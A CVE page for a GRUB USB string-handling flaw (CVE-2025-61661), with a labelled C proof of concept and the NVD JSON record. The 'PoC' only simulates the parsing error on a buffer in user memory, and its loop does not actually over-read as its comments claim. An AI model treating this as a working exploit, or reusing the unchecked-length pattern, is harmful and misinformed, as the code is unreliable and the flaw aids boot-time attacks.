CVE-2025-61661

// CVE-2025-61661 PoC - Malicious USB Device Descriptor // This PoC demonstrates the concept of inconsistent string length handling // Note: Actual exploitation requires physical access and custom USB firmware #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated USB string descriptor with inconsistent length typedef struct { unsigned char bLength; // Descriptor length unsigned char bDescriptorType; // Descriptor type (0x03 for String) unsigned char bString[256]; // UTF-16LE string data } __attribute__((packed)) usb_string_descriptor; // Create malicious descriptor with length mismatch usb_string_descriptor* create_malicious_descriptor() { usb_string_descriptor* desc = malloc(sizeof(usb_string_descriptor)); if (!desc) return NULL; // Set declared length different from actual content desc->bLength = 0xFF; // Declare large length desc->bDescriptorType = 0x03; // Fill with specific pattern that triggers parsing error memset(desc->bString, 0x41, sizeof(desc->bString)); return desc; } // Simulate GRUB's flawed string conversion void grub_usb_string_read(usb_string_descriptor* desc) { unsigned short expected_length = desc->bLength - 2; unsigned short actual_length = strlen((char*)desc->bString); // Vulnerability: Using declared length without validation // This leads to buffer over-read or inconsistent parsing for (int i = 0; i < expected_length; i++) { // Process string data - may read beyond actual content printf("Processing byte %d: 0x%02X\n", i, desc->bString[i]); } } int main() { printf("CVE-2025-61661 PoC - GRUB USB String Handling\n"); printf("===========================================\n\n"); usb_string_descriptor* malicious = create_malicious_descriptor(); if (malicious) { printf("Malicious descriptor created\n"); printf("Declared length: %d bytes\n", malicious->bLength); printf("Attempting to trigger vulnerability...\n\n"); grub_usb_string_read(malicious); free(malicious); } return 0; }

{"cve": {"id": "CVE-2025-61661", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:49.973", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in the GRUB (Grand Unified Bootloader) component. This flaw occurs because the bootloader mishandles string conversion when reading information from a USB device, allowing an attacker to exploit inconsistent length values. A local attacker can connect a maliciously configured USB device during the boot sequence to trigger this issue. A successful exploitation may lead GRUB to crash, leading to a Denial of Service. Data corruption may be also possible, although given the complexity of the exploit the impact is most likely limited."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-131"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-61661", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413827", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/18/8", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}